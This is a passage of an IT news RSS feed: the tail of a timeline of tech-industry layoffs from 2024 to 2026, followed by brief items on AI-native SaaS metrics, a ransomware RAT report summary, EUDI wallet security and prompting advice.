<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4144218/atlassian-cuts-1600-jobs-to-fund-ai-and-enterprise-expansion.html">Atlassian will reduce its global workforce</a> by approximately 10%, eliminating around 1,600 roles, as the collaboration software maker redirects capital toward artificial intelligence development and enterprise sales.</p>



<h3 class="wp-block-heading">March 11, 2026: Tech layoffs surpass 45,000 in early 2026</h3>



<p class="wp-block-paragraph">A recent analysis by RationalFX found 45,363 job cuts globally so far this year—with roughly 68% or more than 30,000 occurring in the U.S. — highlighting ongoing <a href="https://www.networkworld.com/article/4143749/tech-layoffs-surpass-45000-in-early-2026.html" target="_blank">workforce cuts even as many tech companies report strong revenue growth</a>.</p>



<h3 class="wp-block-heading">February 10, 2026: Salesforce lays off staffers as executive leadership churn continues</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4130028/salesforce-lays-off-staffers-as-executive-leadership-churn-continues.html" target="_blank">Salesforce has reduced close to 1,000 roles</a> earlier this month across teams, including marketing, product management, data analytics, and its <a href="https://www.cio.com/article/4011936/salesforce-agentforce-3-promises-new-ways-to-monitor-and-manage-ai-agents.html">Agentforce</a> AI unit, <a href="https://www.businessinsider.com/salesforce-cuts-jobs-executive-changes-2026-2">Business Insider</a> reported, quoting employees familiar with the matter.</p>



<h3 class="wp-block-heading">January 23, 2026: Amazon layoffs expected to disproportionately hit AWS and tech talent</h3>



<p class="wp-block-paragraph">As the market slows down, <a href="https://www.computerworld.com/article/4121653/amazon-layoffs-expected-to-disproportionately-hit-aws-and-tech-talent.html">AWS and other Amazon units are preparing for another round of layoffs</a>, which is expected to overwhelmingly impact tech talent. An email from HR leader Beth Galetti on Jan. 28 <a href="https://www.computerworld.com/article/4123477/amazon-confirms-16000-job-cuts-including-to-aws.html">confirmed 16,000 job cuts</a>.</p>



<h3 class="wp-block-heading">January 15, 2026: Ericsson plans to shed 1,600 jobs in Sweden</h3>



<p class="wp-block-paragraph"> Ericsson lans to cut some 1,600 jobs in Sweden, the telecommunications equipment maker said doubling down on recent cost-saving measures that have helped it weather a prolonged downturn in telecoms spending, <a href="https://www.reuters.com/business/world-at-work/ericsson-shed-1600-jobs-sweden-2026-01-15/" target="_blank" rel="noreferrer noopener">Reuters reports</a>.</p>



<h3 class="wp-block-heading">January 13, 2026: Meta plans to cut around 10% of employees in Reality Labs business</h3>



<p class="wp-block-paragraph">Meta plans to cut around 10% of the employees in its Reality Labs division who work on products including the metaverse, according to three people with knowledge of the discussions, <a href="http://meta%20plans%20to%20cut%20around%2010%25%20of%20employees%20in%20reality%20labs%20business/" target="_blank" rel="noreferrer noopener">according to The New York Times</a>.</p>



<h2 class="wp-block-heading">Layoffs in 2025</h2>



<ul class="wp-block-list">
<li>Cisco</li>



<li>Oracle</li>



<li>Windsurf</li>



<li>Intel</li>



<li>Microsoft</li>



<li>Crowdstrike</li>



<li>HPE</li>



<li>Autodesk</li>



<li>HPE</li>



<li>CISA</li>



<li>Workday</li>



<li>Salesforce</li>



<li>Meta</li>
</ul>



<h3 class="wp-block-heading">Global tech-sector layoffs surpass 244,000 in 2025</h3>



<p class="wp-block-paragraph">Economic uncertainty, elevated interest rates, and AI adoption have <a href="https://www.networkworld.com/article/4114572/global-tech-sector-layoffs-surpass-244000-in-2025.html" target="_blank">driven workforce reductions across tech companies worldwide</a>, according to a RationalFX report.</p>



<h3 class="wp-block-heading">October 28, 2025: Amazon to cut 14,000 jobs across company</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4080142/amazon-to-cut-14000-jobs-across-company.html">Amazon will reduce its overall workforce</a> by 14,000, cutting layers of management across the company and hiring in some areas to support its “biggest bets”.</p>



<h3 class="wp-block-heading">August 18, 2025: Cisco and Oracle to cut hundreds of Bay Area jobs</h3>



<p class="wp-block-paragraph">Tech companies Cisco and Oracle are <a href="https://www.sfchronicle.com/tech/article/cisco-oracle-layoffs-bay-area-20824135.php" target="_blank" rel="noreferrer noopener">cutting hundreds of jobs across the Bay Area</a>. Cisco will eliminate 221 positions at its Milpitas and San Francisco offices, effective Oct. 13. Oracle is reducing 101 positions in Santa Clara on the same date </p>



<h3 class="wp-block-heading">August 5, 2025: 3 weeks after acquiring Windsurf, Cognition offers staff the exit door</h3>



<p class="wp-block-paragraph">Cognition, the AI coding startup that acquired rival company Windsurf three weeks ago, laid off 30 employees last week and is offering buyouts to the roughly 200 remaining employees on the team, <a href="https://www.theinformation.com/articles/cognition-offers-buyouts-newly-acquired-windsurf-staff" target="_blank" rel="noreferrer noopener">reports The Information</a>.</p>



<h3 class="wp-block-heading">July 25, 2025, Intel to lay off 22% of workforce, CEO Tan signals ‘no more blank checks’</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4028896/intel-to-lay-off-22-of-workforce-as-ceo-tan-signals-no-more-blank-checks.html">Intel will reduce its workforce to 75,000 employees</a> by the end of 2025 as new CEO Lip-Bu Tan implements sweeping changes designed to transform the struggling chipmaker</p>



<h3 class="wp-block-heading">July 8, 2025, Intel layoffs begin: Chipmaker is cutting many thousands of jobs</h3>



<p class="wp-block-paragraph">Intel has begun laying off employees across the company. CEO Lip-Bu Tan told workers back in April to expect <a href="https://www.oregonlive.com/silicon-forest/2025/07/intel-layoffs-begin-chipmaker-is-cutting-many-thousands-of-jobs.html">major layoffs at Intel </a>in the coming months as the chipmaker slashes costs and overhauls its organization after years of technical setbacks and falling sales. </p>



<h3 class="wp-block-heading">July 2, 2025: Microsoft will cut 9,000 workers</h3>



<p class="wp-block-paragraph">Microsoft will lay off about 9,000 employees, a source familiar with the workforce cut <a href="https://www.nbcnews.com/business/business-news/microsoft-laying-9000-employees-latest-cuts-rcna216553">told CNBC</a>.  The cuts will reportedly affect less than 4% of Microsoft’s global workforce and will impact different teams, geographies and levels of experience. This is the latest in a string of cuts the tech giant has made this year.</p>



<h3 class="wp-block-heading">June 17, 2025: Intel looks to factory layoffs to return to profitability</h3>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/4008670/can-intel-cut-its-way-to-profit-with-factory-layoffs.html">Intel will lay off up to 20% of its manufacturing sector employees</a> starting in July,  according to media reports, as the company looks for options as it seeks a return to profitability. The cuts reportedly will be made around the world, but some of the layoffs will be closer to home, according to a report in The Oregonian citing an internal company memo from Intel manufacturing Vice President Naga Chandrasekaran.</p>



<h3 class="wp-block-heading">May 7, 2025: CrowdStrike to lay off 5% of staff</h3>



<p class="wp-block-paragraph"><a href="https://www.reuters.com/sustainability/crowdstrike-lay-off-5-staff-reaffirms-forecasts-2025-05-07/">CrowdStrike announced a plan to cut about 500 roles</a>, roughly 5% of its workforce, to streamline operations and reduce costs. The cybersecurity company will incur about $36 million to $53 million in charges related to the layoffs</p>



<h3 class="wp-block-heading">March 6, 2025: HPE cuts 2,500 jobs, remains committed to Juniper buy</h3>



<p class="wp-block-paragraph">CEO Antonio Neri told Wall Street analysts that <a href="https://www.networkworld.com/article/3840596/hpe-cuts-2500-workers-expects-juniper-buy-to-close-end-of-25-faces-tariff-issues.html">HPE would begin implementing a cost-cutting program involving layoffs </a>of about 2,500 employees over the next 18 months. HPE employs about 61,000 people worldwide.</p>



<h3 class="wp-block-heading">Feb. 27, 2025: Autodesk to lay off 9% of workforce</h3>



<p class="wp-block-paragraph">Software maker Autodesk is laying off 1,350 staff. With the rise of subscription and multi-year contracts billed annually, and self-service enablement, it finds it needs fewer sales staff, <a href="https://adsknews.autodesk.com/en/news/022725-employee-message/">CEO Andrew Anagnost said in a message to employees</a>. And with its cloud, platform, and AI products proving most profitable, it’s concentrating its staff and investments there. </p>



<h3 class="wp-block-heading">Feb. 27, 2025: HP to lay off 2,000 more</h3>



<p class="wp-block-paragraph">As part of an ongoing restructuring, HP plans to lay off up to another 2,000 workers. In recent weeks, the company has tried — unsuccessfully — to do away with telephone support staff by <a href="https://www.pcworld.com/article/2617767/hp-forced-callers-to-wait-15-minutes-before-connecting-to-support-staff.html">forcing callers to wait for at least 15 minutes</a> if they refuse to use self-service support resources online. The company swiftly backtracked, but wider job cuts are still on. </p>



<h3 class="wp-block-heading">Feb. 21, 2025: <a href="https://www.csoonline.com/article/3829710/firing-of-130-cisa-staff-worries-cybersecurity-industry.html">CISA lays off 130</a></h3>



<p class="wp-block-paragraph">Government employees get laid off too: In this case, 130 workers at the US Cybersecurity and Infrastructure Security Agency are being shown the door as a result of a DOGE decision. Cybersecurity experts are concerned that the cuts will harm the international collaborations that CISA has fostered, quite apart from their concerns about the security of the DOGE layoff process itself.</p>



<h3 class="wp-block-heading">Feb. 5, 2025: <a href="https://www.computerworld.com/article/3817887/workday-to-cut-1750-jobs-shift-focus-to-ai-and-global-expansion.html">Workday lays off 1,750</a></h3>



<p class="wp-block-paragraph">As it moves to invest more in AI and international growth, Workday is laying off 8.5% of its workforce and disposing of unused office space. Some analysts fear the cutbacks will affect the company’s customer service — unless AI can pick up the slack.</p>



<h3 class="wp-block-heading">Feb. 4, 2025: Salesforce lays off over 1,000</h3>



<p class="wp-block-paragraph">At the same time as it’s hiring sales staff for its new artificial intelligence products, Salesforce is laying off over 1,000 workers across the company, according to Bloomberg. As of June, 2024, the company had over 72,000 employees, according to its website. Salesforce did not comment on the report. In 2024 the company reportedly laid off around 1,000 staff too, in two waves: January and July.</p>



<h3 class="wp-block-heading">Jan. 14, 2025: Meta will lay off 5% of workforce</h3>



<p class="wp-block-paragraph">Mark Zuckerberg told Meta employees he intended to “move out the low performers faster” in an internal memo reported by Bloomberg. The memo announced that the company will lay off 5% of its staff, or around 3,600 staff, beginning Feb. 10. The company had already reduced its headcount by 5% in 2024 through natural attrition, the memo said. Among those leaving the company will be staff previously responsible for fact checking of posts on its social media platforms in the US, as the company begins relying on its users to police content.</p>



<h2 class="wp-block-heading">Tech layoffs in 2024</h2>



<ul class="wp-block-list">
<li>Equinix</li>



<li>AMD</li>



<li>Freshworks</li>



<li>Cisco</li>



<li>General Motors</li>



<li>Intel</li>



<li>OpenText</li>



<li>Microsoft</li>



<li>AWS</li>



<li>Dell</li>
</ul>



<h3 class="wp-block-heading">Nov. 26, 2024: <a href="https://www.networkworld.com/article/3613399/equinix-to-cut-3-of-staff-amidst-the-greatest-demand-for-data-center-infrastructure-ever.html">Equinix to cut 3% of staff</a></h3>



<p class="wp-block-paragraph">Despite intense demand for its data center capacity, Equinix is planning to lay off 3% of its workforce, or around 400 employees. The announcement followed the appointment of Adaire Fox-Martin to replace Charles Meyers as CEO and the departures of two other senior executives, CIO Milind Wagle and CISO Michael Montoya.</p>



<h3 class="wp-block-heading">Nov. 13, 2024: <a href="https://www.networkworld.com/article/3605016/amd-to-cut-4-of-workforce-to-prioritize-ai-chip-expansion-to-rival-nvidia.html#:~:text=Workforce%20reduction%20comes%20amid%20strong,shift%20in%20focus%20toward%20AI.&amp;text=Advanced%20Micro%20Devices%20(AMD)%20is,Nvidia's%20lead%20in%20the%20sector.">AMD to cut 4% of workforce</a></h3>



<p class="wp-block-paragraph">AMD will lay off around 1,000 employees as it pivots towards developing AI-focused chips, it said. The move came as a surprise to staff, as the company also reported strong quarterly earnings. </p>



<h3 class="wp-block-heading">Nov. 7, 2024: <a href="https://www.cio.com/article/3601088/freshworks-lays-off-660-about-13-percent-of-its-global-workforce-despite-strong-earnings-profits.html">Freshworks lays off 660</a></h3>



<p class="wp-block-paragraph">Enterprise software vendor Freshworks laid off around 660 staff, or around 13% of its headcount, despite reporting increased revenue and profits in its fourth fiscal quarter. The company described the layoffs as a realignment of its global workforce.</p>



<h3 class="wp-block-heading">Sept. 17, 2024: <a href="https://www.networkworld.com/article/3486901/cisco-to-cut-7-of-workforce-restructure-product-groups.html">Cisco lays off 6,000</a></h3>



<p class="wp-block-paragraph">After laying off around 4,200 staff in February, Cisco is at it again, laying off another 6,000 or around 7% of its workforce. Among the divisions affected were its threat intelligence unit, Talos Security. </p>



<h3 class="wp-block-heading">Aug. 20, 2024: <a href="https://www.cio.com/article/3489323/gm-software-layoffs-could-signal-a-shift-in-digital-transformation-strategy.html">General Motors lays off 1,000 software staff</a></h3>



<p class="wp-block-paragraph">More than 1,000 software and services staff are on the way out at General Motors, signalling that it could be rethinking its digital transformation strategy. In an internal memo, the company said that it was moving resources to its highest-priority work and flattening hierarchies.</p>



<h3 class="wp-block-heading">August 1, 2024: <a href="https://www.computerworld.com/article/3480715/intel-fires-15000-employees-as-it-intensifies-focus-on-ai.html">Intel removes 15,000 roles</a></h3>



<p class="wp-block-paragraph">Intel plans to cut its workforce by around 15% to reduce costs after a disastrous second quarter. Revenue for the three months to June 29 stagnated at around $12.8 billion, but net income fell 85% to $83 million, prompting CEO Pat Gelsinger to bring forward a company-wide meeting in order to announce that 15,000 staff would lose their jobs. “This is an incredibly hard day for Intel as we are making some of the most consequential changes in our company’s history,” Gelsinger wrote in an email to staff, continuing: “Our revenues have not grown as expected — and we’ve yet to fully benefit from powerful trends, like AI. Our costs are too high, our margins are too low. We need bolder actions to address both — particularly given our financial results and outlook for the second half of 2024, which is tougher than previously expected.”</p>



<h3 class="wp-block-heading">July 4, 2024: <a href="https://www.computerworld.es/article/2513686/opentext-despedira-a-cerca-de-1-200-empleados.html">OpenText to lay off 1,200</a></h3>



<p class="wp-block-paragraph">OpenText said it will lay off 1,200 staff, or about 1.7% of its workforce, in a bid to save around $100 million annually. It plans to hire new sales and engineering staff in other areas in 2025, it said.</p>



<h3 class="wp-block-heading">June 4, 2024: <a href="https://www.networkworld.com/article/2138075/microsoft-lays-off-staffers-from-its-azure-division.html">Microsoft lays off staff in Azure division</a></h3>



<p class="wp-block-paragraph">Microsoft laid off staff in several teams supporting its cloud services, including Azure for Operations and Mission Engineering. The company didn’t say exactly how many staff were leaving.</p>



<h3 class="wp-block-heading">April 4, 2024: <a href="https://www.cio.com/article/2081437/amazon-downsizes-aws-in-a-fresh-cost-cutting-round.html">Amazon downsizes AWS</a> in a fresh cost-cutting round</h3>



<p class="wp-block-paragraph">Amazon announced hundreds of layoffs in the sales and marketing teams of its AWS cloud services division — and also in the technology development teams for its physical retail stores, as it stepped back from efforts to generalize the “<a href="https://www.cio.com/article/2079910/amazon-drops-just-walk-out-technology-at-its-us-retail-locations.html">Just Walk Out</a>” technology built for its Amazon Fresh grocery stores. </p>



<h3 class="wp-block-heading">April 1, 2024: <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">Dell acknowledges 13,000 job cuts</a></h3>



<p class="wp-block-paragraph">Dell Technologies’ <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">latest 10K filing with the US Securities and Exchange Commission</a> disclosed that the company had laid off 13,000 employees over the course of the 2023 fiscal year; it characterized the layoffs and other reorganizational moves as cost-cutting measures. “These actions resulted in a reduction in our overall headcount,” the company said. A comparison to the previous year’s 10K filing, performed by The Register, found that Dell employed 133,000 people at that point, compared to 120,000 as of February 2024. Dell announced layoffs of 6,650 staffers on Feb. 6, but it is unclear whether those cuts were reflected in the numbers from this year’s 10K statement.</p>



<p class="wp-block-paragraph"><em><a href="https://www.computerworld.com/article/3816662/tech-layoffs-in-2024-a-timeline.html">See news of earlier layoffs.</a></em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA['We have a kill switch that stops AI agents that go rogue': ServiceNow CEO Bill McDermott says his company can help firms go "from AI chaos to AI discipline"]]></title>
<description><![CDATA[ServiceNow CEO Bill McDermott says conquering the AI chaos can be easier than you think.]]></description>
<link>https://tsecurity.de/de/3689037/it-nachrichten/we-have-a-kill-switch-that-stops-ai-agents-that-go-rogue-servicenow-ceo-bill-mcdermott-says-his-company-can-help-firms-go-from-ai-chaos-to-ai-discipline/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689037/it-nachrichten/we-have-a-kill-switch-that-stops-ai-agents-that-go-rogue-servicenow-ceo-bill-mcdermott-says-his-company-can-help-firms-go-from-ai-chaos-to-ai-discipline/</guid>
<pubDate>Thu, 23 Jul 2026 14:34:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ServiceNow CEO Bill McDermott says conquering the AI chaos can be easier than you think.]]></content:encoded>
</item>
<item>
<title><![CDATA[The new value architecture of the AI-native SaaS era]]></title>
<description><![CDATA[The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.



In brief:




AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.



Smart companies are evolving new metrics that provide deep...]]></description>
<link>https://tsecurity.de/de/3688966/it-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688966/it-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</guid>
<pubDate>Thu, 23 Jul 2026 14:05:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.</p>



<p class="wp-block-paragraph">In brief:</p>



<ul class="wp-block-list">
<li><a href="https://www.cio.com/article/4146669/is-ai-the-end-of-saas-as-we-know-it.html">AI is transforming software as a service (SaaS)</a>, and the old ways of keeping score no longer apply.</li>



<li>Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.</li>



<li>These changes impact everything from pricing to valuations.</li>
</ul>



<p class="wp-block-paragraph">The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.</p>



<p class="wp-block-paragraph">The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.</p>



<p class="wp-block-paragraph">While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">credit-centric metrics framework</a>, with seats and outcomes as the bookends of a spectrum.</p>



<h2 class="wp-block-heading">Why do software companies need new metrics?</h2>



<p class="wp-block-paragraph">Why the rethink, and why now? There are five major forces that are driving this shift:</p>



<ol start="1" class="wp-block-list">
<li><a href="https://www.idc.com/resource-center/blog/is-saas-dead-rethinking-the-future-of-software-in-the-age-of-ai/"><strong>The unit of value is changing</strong></a><strong>.</strong> Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.</li>



<li><strong>The cost of goods sold (COGS) is exploding.</strong> AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.</li>



<li><strong>Buying is moving up the org chart.</strong> AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.</li>



<li><strong>Time to value (TTV) is collapsing.</strong> With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.</li>



<li><strong>Retention is bifurcating.</strong> AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.</li>
</ol>



<h2 class="wp-block-heading">How this shift is impacting pricing</h2>



<p class="wp-block-paragraph"><a href="https://www.ey.com/en_us/insights/strategy/grow-with-trusted-software-portfolio-management">Given how AI-native software is transforming the market</a>, the shift to more variable pricing options is inevitable.</p>



<p class="wp-block-paragraph">Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.</p>



<p class="wp-block-paragraph">Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.</p>



<p class="wp-block-paragraph">Finally, the industry will likely see <a href="https://www.gartner.com/en/newsroom/press-releases/2026-07-01-gartner-says-us-dollars-234-billion-in-enterprise-application-software-spend-is-at-risk-from-agentic-artificial-intelligence">some move toward outcome-based pricing</a> for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.</p>



<p class="wp-block-paragraph">Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.</p>



<h2 class="wp-block-heading">How AI upends classic SaaS metrics</h2>



<p class="wp-block-paragraph">When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?</p>



<p class="wp-block-paragraph">But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:</p>



<h3 class="wp-block-heading">Revenue composition</h3>



<ul class="wp-block-list">
<li>Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.</li>



<li>Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.</li>



<li>Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.</li>



<li>Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.</li>
</ul>



<h3 class="wp-block-heading">Margin reality</h3>



<ul class="wp-block-list">
<li>Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.</li>



<li>Inference-adjusted gross margin: By carving out AI inference costs separately in the P&amp;L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.</li>



<li>Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.</li>



<li>AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.</li>
</ul>



<h3 class="wp-block-heading">Behavioral and value signals</h3>



<ul class="wp-block-list">
<li>Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.</li>



<li>Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.</li>



<li>Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.</li>
</ul>



<p class="wp-block-paragraph">Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.</p>



<h2 class="wp-block-heading">What does this mean for enterprise value calculations?</h2>



<p class="wp-block-paragraph">As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.</p>



<p class="wp-block-paragraph">Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.</p>



<p class="wp-block-paragraph">For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.</p>



<p class="wp-block-paragraph">In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.</p>



<p class="wp-block-paragraph">We’re also seeing an inversion of the operating model, with R&amp;D and COGS moving up the P&amp;L and sales and marketing (S&amp;M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.</p>



<p class="wp-block-paragraph">Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.</p>



<h2 class="wp-block-heading">What this means for leaders, boards and investors</h2>



<p class="wp-block-paragraph">The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.</p>



<p class="wp-block-paragraph">While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.</p>



<p class="wp-block-paragraph">It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.</p>



<p class="wp-block-paragraph"><em>The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst &amp; Young LLP or other members of the global EY organization.</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Chaos ransomware msaRAT hides its C2 channel inside a legitimate browser process]]></title>
<description><![CDATA[Cisco Talos has identified a Rust-based remote access trojan it attributes to the Chaos ransomware group, named msaRAT after four of the binding names left in the binary. The tool starts its own instance of Chrome or Edge on the…
Read more →
The post Chaos ransomware msaRAT hides its C2 channel i...]]></description>
<link>https://tsecurity.de/de/3688829/it-security-nachrichten/chaos-ransomware-msarat-hides-its-c2-channel-inside-a-legitimate-browser-process/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688829/it-security-nachrichten/chaos-ransomware-msarat-hides-its-c2-channel-inside-a-legitimate-browser-process/</guid>
<pubDate>Thu, 23 Jul 2026 13:15:11 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Cisco Talos has identified a Rust-based remote access trojan it attributes to the Chaos ransomware group, named msaRAT after four of the binding names left in the binary. The tool starts its own instance of Chrome or Edge on the…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/chaos-ransomware-msarat-hides-its-c2-channel-inside-a-legitimate-browser-process/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/chaos-ransomware-msarat-hides-its-c2-channel-inside-a-legitimate-browser-process/">Chaos ransomware msaRAT hides its C2 channel inside a legitimate browser process</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Certifying the future; synchronizing EUDI wallets and quantum-readiness]]></title>
<description><![CDATA[Author: PQShield - Bewertung: 0x - Views:0 The rollout of the European Digital Identity Wallet (EUDI wallet) demands tight security, but combining high-assurance compliance with post-quantum cryptography creates new engineering bottlenecks. In this episode, host Johannes Lintzen sits down with We...]]></description>
<link>https://tsecurity.de/de/3688805/videos/certifying-the-future-synchronizing-eudi-wallets-and-quantum-readiness/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688805/videos/certifying-the-future-synchronizing-eudi-wallets-and-quantum-readiness/</guid>
<pubDate>Thu, 23 Jul 2026 13:07:40 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: PQShield - Bewertung: 0x - Views:0 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/qH2adeafr6g?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>The rollout of the European Digital Identity Wallet (EUDI wallet) demands tight security, but combining high-assurance compliance with post-quantum cryptography creates new engineering bottlenecks. In this episode, host Johannes Lintzen sits down with Wei Yuan, lab manager and director of operations at Applus+ Laboratories. They dissect hardware trust architectures, hardware security module (HSM) limits, and why implementation flaws cause far more security breaches than algorithmic failures.<br />
<br />
YouTube chapters<br />
00:00 Introduction to Wei Yuan and Applus+ Laboratories <br />
03:28 Explaining the European Digital Identity (EUDI) Wallet <br />
05:28 The importance of data minimization for citizens <br />
07:41 How laboratories verify vendor security claims <br />
09:35 The vulnerability of identity data to quantum attacks <br />
11:12 The 2026 deadline for member state deployment <br />
12:22 Creating certification schemes with ENISA <br />
15:46 Comparing secure elements and remote HSMs <br />
19:12 The role of standardization in preventing delays <br />
24:33 Navigating international regulation differences <br />
28:51 Advice for vendors starting their migration <br />
32:10 Reporting obligations under the Cyber Resilience Act <br />
34:02 Why implementation matters more than design<br />
<br />
Guest bio<br />
Wei Yuan is lab manager and director of operations at Applus+ Laboratories. Working at the boundary of high-assurance evaluation, hardware security, and regulatory policy, he serves as an expert within ENISA working groups, helping shape European digital identity certification standards and transition pathways to post-quantum cryptography.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Stop asking AI nicely: Here’s how to get work-ready results every time]]></title>
<description><![CDATA[Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation fo...]]></description>
<link>https://tsecurity.de/de/3688796/it-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</link>
